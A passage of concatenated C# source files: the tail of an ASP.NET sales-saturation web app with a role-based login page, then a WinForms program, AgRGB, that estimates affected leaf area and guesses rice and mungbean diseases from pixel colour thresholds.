DBLayer.getBranchNamelist(newProductAcctGrp_id); string json = JsonConvert.SerializeObject(new { branchNameList }); return json; } [System.Web.Services.WebMethod] public static object submitBranch(string TableBranchSelect, string newProductAcctGrpId) { List<clsBranch> BranchSelect = JsonConvert.DeserializeObject<List<clsBranch>>(TableBranchSelect); foreach (var branch in BranchSelect) { branch.newproductaccountid = newProductAcctGrpId; branch.status = "Pending"; } DBLayer.insertBranchSelect(BranchSelect); return ""; } }<file_sep>/dev_saturation.aspx.cs using System; using System.Collections.Generic; using System.Configuration; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class dev_saturation : System.Web.UI.Page { clsDBLayer DBLayer = new clsDBLayer(ConfigurationManager.ConnectionStrings["SaturationDB"].ToString()); protected void Page_Load(object sender, EventArgs e) { clsUser user = (clsUser) Session["user"]; if (user == null) { Response.Redirect("~/Site_Login.aspx"); } if (!IsPostBack) { List<clsNewProduct> newProdList = DBLayer.getAssignedNewProductsByUserId(user.Id); newProdRptr.DataSource = newProdList; newProdRptr.DataBind(); } } protected void newProdRptr_ItemDataBound(object sender, RepeaterItemEventArgs e) { if (e.Item.ItemType == ListItemType.Item || e.Item.ItemType == ListItemType.AlternatingItem) { clsNewProduct newProd = (clsNewProduct) e.Item.DataItem; Label pipelineLbl = (Label)e.Item.FindControl("pipelineDate"); pipelineLbl.Text = DateTime.Parse(newProd.pipeline).ToString("MM.dd.yyyy"); Label saturationLbl = (Label)e.Item.FindControl("saturationDate"); saturationLbl.Text = DateTime.Parse(newProd.saturation).ToString("MM.dd.yyyy"); Label dateCreatedLbl = (Label)e.Item.FindControl("dateCreated"); dateCreatedLbl.Text = DateTime.Parse(newProd.createdAt).ToString("MM.dd.yyyy"); } } protected void newProdRptr_ItemCommand(object source, RepeaterCommandEventArgs e) { } }<file_sep>/App_Code/clsActivityLog.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; /// <summary> /// Summary description for clsActivityLog /// </summary> public class clsActivityLog { private string id; public string Id { get { return id; } set { id = value; } } private string username; public string Username { get { return username; } set { username = value; } } private string pageUrl; public string PageUrl { get { return pageUrl; } set { pageUrl = value; } } private string activity; public string Activity { get { return activity; } set { activity = value; } } private string dateCreated; public string DateCreated { get { return dateCreated; } set { dateCreated = value; } } public clsActivityLog() { // // TODO: Add constructor logic here // } }<file_sep>/App_Code/clsNewProduct.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; /// <summary> /// Summary description for clsNewProduct /// </summary> public class clsNewProduct { public string id { get; set; } public string glu { get; set; } public string itemId { get; set; } public string itemCode { get; set; } public string itemName { get; set; } public string remarks { get; set; } public string uom { get; set; } public string priceNet { get; set; } public string productDivision { get; set; } public string channel { get; set; } public string pipeline { get; set; } public string saturation { get; set; } public string createdAt { get; set; } public string createdBy { get; set; } public string modifiedAt { get; set; } public string modifiedBy { get; set; } public string status { get; set; } public string plan { get; set; } public string confirmed { get; set; } public string deleted_at { get; set; } public string deleted_by { get; set; } public string ul_item_id { get; set; } public clsNewProduct() { // // TODO: Add constructor logic here // } }<file_sep>/App_Code/clsChannel.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; /// <summary> /// Summary description for clsChannel /// </summary> public class clsChannel { public string id { get; set; } public string channel { get; set; } public string itemname { get; set; } public string item_code { get; set; } public string pipeline_period { get; set; } public string saturation_period { get; set; } public string newproduct_id { get; set; } public string created_at { get; set; } public string created_by { get; set; } public string modified_at { get; set; } public string modified_by { get; set; } public string deleted_at { get; set; } public string deleted_by { get; set; } public string status { get; set; } public string active { get; set; } public string remarks { get; set; } public string product_division { get; set; } public string uom { get; set; } public string price_net { get; set; } public string glu { get; set; } public clsChannel() { // // TODO: Add constructor logic here // } }<file_sep>/App_Code/clsAccountGroup.cs using System; using System.Collections.Generic; using System.Linq; using System.Web; /// <summary> /// Summary description for clsAccountGroup /// </summary> public class clsAccountGroup { public string account_group_name { get; set; } public string plan { get; set; } public string remarks { get; set; } public string allocation_plan_amt { get; set; } public string pipeline_period { get; set; } public string saturation_period { get; set; } public string newproduct_id { get; set; } public string id { get; set; } public clsAccountGroup() { // // TODO: Add constructor logic here // } }<file_sep>/Site_Login.aspx.cs using System; using System.Collections.Generic; using System.Configuration; using System.Linq; using System.Web; using System.Web.UI; using System.Web.UI.WebControls; public partial class Site_Login : System.Web.UI.Page { clsDBLayer DBLayer = new clsDBLayer(ConfigurationManager.ConnectionStrings["SaturationDB"].ToString()); protected void Page_Load(object sender, EventArgs e) { } protected void loginBtn_Click(object sender, EventArgs e) { string username = inputUsername.Text; string password = inputPassword.Text; string message = ""; clsUser user = DBLayer.validateUser(username, password); if (user != null) { Session["user"] = user; if (user.Type.Equals("Developer")) { Response.Redirect("~/newproduct_setup.aspx"); } else if (user.Type.Equals("Sales Representative")) { Response.Redirect("~/cds_saturation.aspx"); } else if (user.Type.Equals("Coordinator")) { Response.Redirect("coor_saturation.aspx"); } else if (user.Type.Equals("PMOG")) { Response.Redirect("~/newproduct.aspx"); //Response.Redirect("~/newproduct_setup.aspx"); } else if (user.Type.Equals("Maintenance")) { //Response.Redirect("~/newproduct.aspx"); Response.Redirect("~/newproduct_setup.aspx"); } } else { message += "<div class='alert alert-danger'>"; message += "Invalid username or password!"; message += "</div>"; invalidLogin.Text = message; } } }
ef944187d6b093f3c7227f4e371c4fed85e2a033
[ "Markdown", "C#" ]
19
C#
marks37/fmp
c0d6203b2661ff5e3c47737f03623406d6d50cbe
2a4db07606a9990d7dea69b6be2049ef8225e277
refs/heads/master
<repo_name>sudiptob2/AgRGB<file_sep>/AgRGB/Form2.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace AgRGB { public partial class Form2 : Form { int flag=-1; public Form2() { InitializeComponent(); } public Form2(int flag) { this.flag = flag; InitializeComponent(); } private void Form2_Load(object sender, EventArgs e) { } private void progressBar1_Click(object sender, EventArgs e) { } private void openImageToolStripMenuItem_Click(object sender, EventArgs e) { OpenFileDialog openFileDialog1 = new OpenFileDialog(); openFileDialog1.Filter = "Bitmap|*.bmp;*.png;*.jpg;*.jpeg"; openFileDialog1.Title = "Open Image"; if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK) { pictureBox1.Image = new Bitmap(openFileDialog1.FileName); } } private void button4_Click(object sender, EventArgs e) { SaveFileDialog savefiledialog1 = new SaveFileDialog(); savefiledialog1.FileName = Guid.NewGuid().ToString("n"); savefiledialog1.Filter = "Bitmap|*.bmp;*.png;*.jpg;*.jpeg"; if(savefiledialog1.ShowDialog()== DialogResult.OK) { pictureBox2.Image.Save(savefiledialog1.FileName); } } private void exitToolStripMenuItem_Click(object sender, EventArgs e) { if (System.Windows.Forms.Application.MessageLoop) { // WinForms app System.Windows.Forms.Application.Exit(); } else { // Console app System.Environment.Exit(1); } } private void button3_Click(object sender, EventArgs e) { if(flag==1|| flag == 2) //For rice { int red, green, blue, avg, i, j; Bitmap bmp = (Bitmap)pictureBox1.Image; for (i = 0; i < bmp.Width; i++) { for (j = 0; j < bmp.Height; j++) { Color pixel = bmp.GetPixel(i, j); red = pixel.R; green = pixel.G; blue = pixel.B; avg = (red + green + blue) / 3; string str = red.ToString() + " " + green.ToString() + " " + blue.ToString(); if (red > 53 && red < 255 && green >= 125 && blue >= 0 && blue < 130) { bmp.SetPixel(i, j, Color.FromArgb(0, 0, 255)); } if (red >= 0 && red <= 100 && green > 30 && green < 255 && blue >= 0 && blue <= 80) { bmp.SetPixel(i, j, Color.FromArgb(0, 0, 255)); } } pictureBox2.Image = bmp; } } else { //for mungbean int red, green, blue, avg, i, j; Bitmap bmp = (Bitmap)pictureBox1.Image; pictureBox2.Image = bmp; for (i = 0; i < bmp.Width; i++) { for (j = 0; j < bmp.Height; j++) { Color pixel = bmp.GetPixel(i, j); red = pixel.R; green = pixel.G; blue = pixel.B; avg = (red + green + blue) / 3; string str = red.ToString() + " " + green.ToString() + " " + blue.ToString(); // if (green < 160 || red < 140 || blue > 210) { bmp.SetPixel(i, j, Color.FromArgb(0, 0, 255)); } } pictureBox2.Image = bmp; } } } private void button1_Click(object sender, EventArgs e) { foreach (var series in chart1.Series) { series.Points.Clear(); } OpenFileDialog openFileDialog1 = new OpenFileDialog(); openFileDialog1.Filter = "Bitmap|*.bmp;*.png;*.jpg;*.jpeg"; openFileDialog1.Title = "Open Image"; if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK) { pictureBox1.Image = new Bitmap(openFileDialog1.FileName); } } private void helpToolStripMenuItem_Click(object sender, EventArgs e) { Form3 f3 = new Form3(); this.Hide(); f3.ShowDialog(); } private void imageAnalysisToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Image Analysis"; this.Hide(); f2.ShowDialog(); } private void riceToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(1); f2.label2.Text = "Wellcome to Rice Analysis"; this.Hide(); f2.ShowDialog(); } private void mungbeanToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(3); f2.label2.Text = "Wellcome to Mungbean Analysis"; this.Hide(); f2.ShowDialog(); } private void riceLeafToolStripMenuItem_Click(object sender, EventArgs e) { label2.Text = "Wellcome to Rice Analysis"; flag = 1; foreach (var series in chart1.Series) { series.Points.Clear(); } } private void mungbeanLeafToolStripMenuItem_Click(object sender, EventArgs e) { label2.Text = "Wellcome to Mungbean Analysis"; flag = 3; foreach (var series in chart1.Series) { series.Points.Clear(); } } private void riceToolStripMenuItem1_Click(object sender, EventArgs e) { } private void bacterialBlightToolStripMenuItem_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Bacterial Blight"; fdi.textBox1.Text = "Bacterial blight is a bacterial disease which is caused by bacterium called Xanthomonas oryzae pathovar oryzae.The basic symptom of bacterial blight is the wilting of seedlings and yellowing and drying of leaves."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BB1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BB2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BB3; this.Hide(); fdi.ShowDialog(); } private void brownSpotToolStripMenuItem_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Brown Spot"; fdi.textBox1.Text = "Brown Spot is a fungal disease caused by Bipolaris oryzae. The basic symptom is the formation of minute spot on the leaf blade,leaft sheath,etc which later becomes cylindrical or oval dark brown or black spots."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BS1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BS2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BS4; this.Hide(); fdi.ShowDialog(); } private void riceBlastToolStripMenuItem_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Rice Blast"; fdi.textBox1.Text = "Blast is a fungal disease which is caused by the fungus called Magnaporthe oryzae. All the parts above the ground can be affected by rice blast. The basic symptom is Diamond - shaped or elliptical or spindle-shaped spots with gray or white centers and brown margins"; fdi.pictureBox1.Image = AgRGB.Properties.Resources.RB4; fdi.pictureBox2.Image = AgRGB.Properties.Resources.RB5; fdi.pictureBox3.Image = AgRGB.Properties.Resources.RB7; this.Hide(); fdi.ShowDialog(); } private void helpToolStripMenuItem1_Click(object sender, EventArgs e) { Form3 f3 = new Form3(); this.Hide(); f3.ShowDialog(); } private void exitToolStripMenuItem1_Click(object sender, EventArgs e) { if (System.Windows.Forms.Application.MessageLoop) { // WinForms app System.Windows.Forms.Application.Exit(); } else { // Console app System.Environment.Exit(1); } } private void riceDiseaseDetectionToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(2); f2.label2.Text = "Wellcome to Rice Disease Detection"; this.Hide(); f2.ShowDialog(); } private void mungbeanDiseaseDetectionToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(4); f2.label2.Text = "Wellcome to Mungbean Disease Detection"; this.Hide(); f2.ShowDialog(); } private void bacterialBlightToolStripMenuItem1_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Bacterial Blight"; fdi.textBox1.Text = "Bacterial blight is a bacterial disease which is caused by bacterium called Xanthomonas oryzae pathovar oryzae.The basic symptom of bacterial blight is the wilting of seedlings and yellowing and drying of leaves."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BB1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BB2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BB3; this.Hide(); fdi.ShowDialog(); } private void brownSpotToolStripMenuItem1_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Brown Spot"; fdi.textBox1.Text = "Brown Spot is a fungal disease caused by Bipolaris oryzae. The basic symptom is the formation of minute spot on the leaf blade,leaft sheath,etc which later becomes cylindrical or oval dark brown or black spots."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BS1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BS2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BS4; this.Hide(); fdi.ShowDialog(); } private void riceBlastToolStripMenuItem1_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Rice Blast"; fdi.textBox1.Text = "Blast is a fungal disease which is caused by the fungus called Magnaporthe oryzae. All the parts above the ground can be affected by rice blast. The basic symptom is Diamond - shaped or elliptical or spindle-shaped spots with gray or white centers and brown margins"; fdi.pictureBox1.Image = AgRGB.Properties.Resources.RB4; fdi.pictureBox2.Image = AgRGB.Properties.Resources.RB5; fdi.pictureBox3.Image = AgRGB.Properties.Resources.RB7; this.Hide(); fdi.ShowDialog(); } private void helpToolStripMenuItem_Click_1(object sender, EventArgs e) { Form3 f3 = new Form3(); this.Hide(); f3.ShowDialog(); } private void leafAnalysisToolStripMenuItem_Click(object sender, EventArgs e) { } private void leafAnalysisToolStripMenuItem1_Click(object sender, EventArgs e) { } private void homeToolStripMenuItem1_Click(object sender, EventArgs e) { Form1 f1 = new Form1(); this.Hide(); f1.ShowDialog(); } private void button2_Click(object sender, EventArgs e) { foreach (var series in chart1.Series) { series.Points.Clear(); } if (flag == 1) //Rice leaf analysis { int i, j, red, blue, green; string str = ""; Bitmap Img = (Bitmap)pictureBox2.Image; int width = Img.Width; int height = Img.Height; int avg = 0, c=0, w = 0, yl = 0, black = 0, grey = 0, rg, gb, br; for (i = 0; i < Img.Width; i++) { for (j = 0; j < Img.Height; j++) { Color pixel = Img.GetPixel(i, j); red = pixel.R; green = pixel.G; blue = pixel.B; avg = (red + blue + green) / 3; if (blue > 250 && red == 0 && green == 0) { continue; } else { c++; } } } string result = ""; double affected = Math.Floor(((double)c / ((double)Img.Height * (double)Img.Width)) * (double)100); result = "affected area dtected!!" + Environment.NewLine + "Affected percentage: " + affected + "%"; chart1.Series["Chart"].Points.AddXY("affected", affected); chart1.Series["Chart"].Points.AddXY("Healty", 100-affected); textBox1.Text = result; } else if(flag ==2) //Rice disease detection { int i, j, red, blue, green; string str = ""; Bitmap Img = (Bitmap)pictureBox2.Image; int width = Img.Width; int height = Img.Height; int avg = 0, c = 0, w = 0, yl = 0, black = 0, grey = 0, rg, gb, br; for (i = 0; i < Img.Width; i++) { for (j = 0; j < Img.Height; j++) { Color pixel = Img.GetPixel(i, j); red = pixel.R; green = pixel.G; blue = pixel.B; avg = (red + blue + green) / 3; if (blue > 250 && red == 0 && green == 0) { //continue; Img.SetPixel(i, j, Color.FromArgb(255, 255, 255)); } else { c++; rg = Math.Abs(red - green); gb = Math.Abs(green - blue); br = Math.Abs(blue - red); if (rg <= 5 && blue < 100) { black++; Img.SetPixel(i, j, Color.FromArgb(0, 0, 0)); } else if (red > 140 && green > 140 && blue > 140) { w++; Img.SetPixel(i, j, Color.FromArgb(255, 0, 0)); } else if (rg > 0 && rg < 10 && red > 98 && green > 98 && blue < 190) { yl++; Img.SetPixel(i, j, Color.FromArgb(238, 255, 0)); } else if (rg > 0 && rg < 150 && blue < 150) { grey++; Img.SetPixel(i, j, Color.FromArgb(255, 0, 220)); } } } } pictureBox2.Image = Img; double pw = Math.Floor(((double)w / (double)c) * 100); double pyl = Math.Floor(((double)yl / (double)c) * 100); double pBlack = Math.Floor(((double)black / (double)c) * 100); double pGrey = Math.Floor(((double)grey / (double)c) * 100); double noise = 100 - (pw + pyl + pBlack + pGrey); str += pBlack.ToString() + " " + pw.ToString() + " " + pyl.ToString() + " " + pGrey.ToString() + "\n"; string diseaseName = "Disease undetected Please Use a good quality Image"; if (pw >= 50 && pw <= 95 && pyl < 10 && pGrey >= 10 && pGrey <= 45) { diseaseName = "Bacterial Blight"; } else if (pw <= 10 && pyl < 15 && pGrey >= 85 && pBlack <= 10) { diseaseName = "Brown Spot"; } else if (pw > 10 && pw <= 55 && pyl < 10 && pGrey >= 30 && pGrey <= 85 && pBlack <= 6) { diseaseName = "Rice Blast"; } string result = "Disease: " + diseaseName; chart1.Series["Chart"].Points.AddXY("A", pw); chart1.Series["Chart"].Points.AddXY("B", pyl); chart1.Series["Chart"].Points.AddXY("C", pBlack); chart1.Series["Chart"].Points.AddXY("D", pGrey); chart1.Series["Chart"].Points.AddXY("Noise", noise); textBox1.Text = result; } else if(flag == 3) //Mungbean leaf analysis { int i, j, red, blue, green; string str = ""; Bitmap Img = (Bitmap)pictureBox2.Image; int width = Img.Width; int height = Img.Height; int avg = 0, c = 0, w = 0, yl = 0, black = 0, grey = 0, rg, gb, br; for (i = 0; i < Img.Width; i++) { for (j = 0; j < Img.Height; j++) { Color pixel = Img.GetPixel(i, j); red = pixel.R; green = pixel.G; blue = pixel.B; avg = (red + blue + green) / 3; if (blue > 250 && red == 0 && green == 0) { continue; } else { c++; } } } string result = ""; double affected = Math.Floor(((double)c / ((double)Img.Height * (double)Img.Width)) * (double)100); result = "affected area dtected!!" + Environment.NewLine + "Affected percentage: " + affected + "%"; chart1.Series["Chart"].Points.AddXY("affected", affected); chart1.Series["Chart"].Points.AddXY("Healty", 100 - affected); textBox1.Text = result; } else if (flag == 4) //Mungbean disease detection { int i, j, red, blue, green; string str = ""; Bitmap Img = (Bitmap)pictureBox2.Image; int width = Img.Width; int height = Img.Height; int avg = 0, c = 0, w = 0, yl = 0, black = 0, grey = 0, rg, gb, br; for (i = 0; i < Img.Width; i++) { for (j = 0; j < Img.Height; j++) { Color pixel = Img.GetPixel(i, j); red = pixel.R; green = pixel.G; blue = pixel.B; avg = (red + blue + green) / 3; if (blue > 250 && red == 0 && green == 0) { //continue; Img.SetPixel(i, j, Color.FromArgb(255, 255, 255)); } else { c++; rg = Math.Abs(red - green); gb = Math.Abs(green - blue); br = Math.Abs(blue - red); if (rg <= 5 && blue < 100) { black++; Img.SetPixel(i, j, Color.FromArgb(0, 0, 0)); } else if (red > 140 && green > 140 && blue > 140) { w++; Img.SetPixel(i, j, Color.FromArgb(255, 0, 0)); } else if (rg > 0 && rg < 10 && red > 98 && green > 98 && blue < 190) { yl++; Img.SetPixel(i, j, Color.FromArgb(238, 255, 0)); } else if (rg > 0 && rg < 150 && blue < 150) { grey++; Img.SetPixel(i, j, Color.FromArgb(255, 0, 220)); } } } } pictureBox2.Image = Img; double pw = Math.Floor(((double)w / (double)c) * 100); double pyl = Math.Floor(((double)yl / (double)c) * 100); double pBlack = Math.Floor(((double)black / (double)c) * 100); double pGrey = Math.Floor(((double)grey / (double)c) * 100); double noise = 100 - (pw + pyl + pBlack + pGrey); str += pw.ToString() + " " + pyl.ToString() + " " + pBlack.ToString() + " " + pGrey.ToString() ; string diseaseName = "Please Use a good quality Image"; if (pw > 60 && pyl <= 25) { diseaseName = "Powdery Mildew"; } else if (pw <= 25 && pGrey >= 60) { diseaseName = "Yellow Mosaic"; } else if (pw>35&&pw<55&&pGrey>20&&pGrey<75) { diseaseName = "Frogeye Leaf spot"; } string result = "Disease: " + diseaseName + " "+ str; chart1.Series["Chart"].Points.AddXY("A", pw); chart1.Series["Chart"].Points.AddXY("B", pyl); chart1.Series["Chart"].Points.AddXY("C", pBlack); chart1.Series["Chart"].Points.AddXY("D", pGrey); chart1.Series["Chart"].Points.AddXY("Noise", noise); textBox1.Text = result; } } private void textBox1_TextChanged(object sender, EventArgs e) { } private void pictureBox1_Click(object sender, EventArgs e) { } private void label1_Click(object sender, EventArgs e) { } private void label7_Click(object sender, EventArgs e) { } private void chart1_Click(object sender, EventArgs e) { } } } <file_sep>/AgRGB/Form_Disease_Info.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace AgRGB { public partial class Form_Disease_Info : Form { public Form_Disease_Info() { InitializeComponent(); } private void diseaseDetectionToolStripMenuItem_Click(object sender, EventArgs e) { } private void exitToolStripMenuItem_Click(object sender, EventArgs e) { if (System.Windows.Forms.Application.MessageLoop) { // WinForms app System.Windows.Forms.Application.Exit(); } else { // Console app System.Environment.Exit(1); } } private void riceToolStripMenuItem2_Click(object sender, EventArgs e) { } private void Form_Disease_Info_Load(object sender, EventArgs e) { } private void imageAnalysisToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Image Analysis"; this.Hide(); f2.ShowDialog(); } private void riceToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Rice Analysis"; this.Hide(); f2.ShowDialog(); } private void mungbeanToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Mungbean Analysis"; this.Hide(); f2.ShowDialog(); } private void helpToolStripMenuItem1_Click(object sender, EventArgs e) { Form3 f3 = new Form3(); this.Hide(); f3.ShowDialog(); } private void riceLeafToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Rice Analysis"; this.Hide(); f2.ShowDialog(); } private void mungbeanLeafToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Mungbean Analysis"; this.Hide(); f2.ShowDialog(); } private void riceDiseaseDetectionToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Rice Disease Detection"; this.Hide(); f2.ShowDialog(); } private void mungbeanDiseaseDetectionToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Mungbean Disease Detection"; this.Hide(); f2.ShowDialog(); } private void helpToolStripMenuItem_Click(object sender, EventArgs e) { Form3 f3 = new Form3(); this.Hide(); f3.ShowDialog(); } private void label1_Click(object sender, EventArgs e) { } private void textBox1_TextChanged(object sender, EventArgs e) { } private void bacterialBlightToolStripMenuItem_Click(object sender, EventArgs e) { label1.Text = "Bacterial Blight"; textBox1.Text = "Bacterial blight is a bacterial disease which is caused by bacterium called Xanthomonas oryzae pathovar oryzae.The basic symptom of bacterial blight is the wilting of seedlings and yellowing and drying of leaves."; pictureBox1.Image = AgRGB.Properties.Resources.BB1; pictureBox2.Image = AgRGB.Properties.Resources.BB2; pictureBox3.Image = AgRGB.Properties.Resources.BB3; this.Refresh(); } private void brownSpotToolStripMenuItem_Click(object sender, EventArgs e) { label1.Text = "Brown Spot"; textBox1.Text = "Brown Spot is a fungal disease caused by Bipolaris oryzae. The basic symptom is the formation of minute spot on the leaf blade,leaft sheath,etc which later becomes cylindrical or oval dark brown or black spots."; pictureBox1.Image = AgRGB.Properties.Resources.BS1; pictureBox2.Image = AgRGB.Properties.Resources.BS2; pictureBox3.Image = AgRGB.Properties.Resources.BS4; this.Refresh(); } private void riceBlastToolStripMenuItem_Click(object sender, EventArgs e) { label1.Text = "Rice Blast"; textBox1.Text = "Blast is a fungal disease which is caused by the fungus called Magnaporthe oryzae. All the parts above the ground can be affected by rice blast. The basic symptom is Diamond - shaped or elliptical or spindle-shaped spots with gray or white centers and brown margins."; pictureBox1.Image = AgRGB.Properties.Resources.RB4; pictureBox2.Image = AgRGB.Properties.Resources.RB5; pictureBox3.Image = AgRGB.Properties.Resources.RB7; this.Refresh(); } private void homeToolStripMenuItem1_Click(object sender, EventArgs e) { Form1 f1 = new Form1(); this.Hide(); f1.ShowDialog(); } private void exitToolStripMenuItem1_Click(object sender, EventArgs e) { if (System.Windows.Forms.Application.MessageLoop) { // WinForms app System.Windows.Forms.Application.Exit(); } else { // Console app System.Environment.Exit(1); } } private void bacterialBlightToolStripMenuItem1_Click(object sender, EventArgs e) { label1.Text = "Bacterial Blight"; textBox1.Text = "Bacterial blight is a bacterial disease which is caused by bacterium called Xanthomonas oryzae pathovar oryzae.The basic symptom of bacterial blight is the wilting of seedlings and yellowing and drying of leaves."; pictureBox1.Image = AgRGB.Properties.Resources.BB1; pictureBox2.Image = AgRGB.Properties.Resources.BB2; pictureBox3.Image = AgRGB.Properties.Resources.BB3; this.Refresh(); } private void brownSpotToolStripMenuItem1_Click(object sender, EventArgs e) { label1.Text = "Brown Spot"; textBox1.Text = "Brown Spot is a fungal disease caused by Bipolaris oryzae. The basic symptom is the formation of minute spot on the leaf blade,leaft sheath,etc which later becomes cylindrical or oval dark brown or black spots."; pictureBox1.Image = AgRGB.Properties.Resources.BS1; pictureBox2.Image = AgRGB.Properties.Resources.BS2; pictureBox3.Image = AgRGB.Properties.Resources.BS4; this.Refresh(); } private void riceBlastToolStripMenuItem1_Click(object sender, EventArgs e) { label1.Text = "Rice Blast"; textBox1.Text = "Blast is a fungal disease which is caused by the fungus called Magnaporthe oryzae. All the parts above the ground can be affected by rice blast. The basic symptom is Diamond - shaped or elliptical or spindle-shaped spots with gray or white centers and brown margins."; pictureBox1.Image = AgRGB.Properties.Resources.RB4; pictureBox2.Image = AgRGB.Properties.Resources.RB5; pictureBox3.Image = AgRGB.Properties.Resources.RB7; this.Refresh(); } } } <file_sep>/AgRGB/Form3.cs using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; namespace AgRGB { public partial class Form3 : Form { public Form3() { InitializeComponent(); } private void label1_Click(object sender, EventArgs e) { } private void exitToolStripMenuItem_Click(object sender, EventArgs e) { if (System.Windows.Forms.Application.MessageLoop) { // WinForms app System.Windows.Forms.Application.Exit(); } else { // Console app System.Environment.Exit(1); } } private void imageAnalysisToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Image Analysis"; this.Hide(); f2.ShowDialog(); } private void riceToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Rice Analysis"; this.Hide(); f2.ShowDialog(); } private void mungbeanToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Mungbean Analysis"; this.Hide(); f2.ShowDialog(); } private void riceDiseaseDetectionToolStripMenuItem_Click(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Rice Disease Detection"; this.Hide(); f2.ShowDialog(); } private void imageAnalysisToolStripMenuItem_Click_1(object sender, EventArgs e) { Form2 f2 = new Form2(1); f2.label2.Text = "Wellcome to Image Analysis"; this.Hide(); f2.ShowDialog(); } private void diseaseDetectionToolStripMenuItem_Click(object sender, EventArgs e) { } private void riceToolStripMenuItem_Click_1(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Rice Analysis"; this.Hide(); f2.ShowDialog(); } private void mungbeanToolStripMenuItem_Click_1(object sender, EventArgs e) { Form2 f2 = new Form2(); f2.label2.Text = "Wellcome to Mungbean Analysis"; this.Hide(); f2.ShowDialog(); } private void bacterialBlightToolStripMenuItem1_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Bacterial Blight"; fdi.textBox1.Text = "Bacterial blight is a bacterial disease which is caused by bacterium called Xanthomonas oryzae pathovar oryzae.The basic symptom of bacterial blight is the wilting of seedlings and yellowing and drying of leaves."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BB1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BB2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BB3; this.Hide(); fdi.ShowDialog(); } private void brownSpotToolStripMenuItem1_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Brown Spot"; fdi.textBox1.Text = "Brown Spot is a fungal disease caused by Bipolaris oryzae. The basic symptom is the formation of minute spot on the leaf blade,leaft sheath,etc which later becomes cylindrical or oval dark brown or black spots."; fdi.pictureBox1.Image = AgRGB.Properties.Resources.BS1; fdi.pictureBox2.Image = AgRGB.Properties.Resources.BS2; fdi.pictureBox3.Image = AgRGB.Properties.Resources.BS4; this.Hide(); fdi.ShowDialog(); } private void riceBlastToolStripMenuItem1_Click(object sender, EventArgs e) { Form_Disease_Info fdi = new Form_Disease_Info(); fdi.label1.Text = "Rice Blast"; fdi.textBox1.Text = "Blast is a fungal disease which is caused by the fungus called Magnaporthe oryzae. All the parts above the ground can be affected by rice blast. The basic symptom is Diamond - shaped or elliptical or spindle-shaped spots with gray or white centers and brown margins"; fdi.pictureBox1.Image = AgRGB.Properties.Resources.RB4; fdi.pictureBox2.Image = AgRGB.Properties.Resources.RB5; fdi.pictureBox3.Image = AgRGB.Properties.Resources.RB7; this.Hide(); fdi.ShowDialog(); } private void helpToolStripMenuItem1_Click(object sender, EventArgs e) { this.Refresh(); } private void 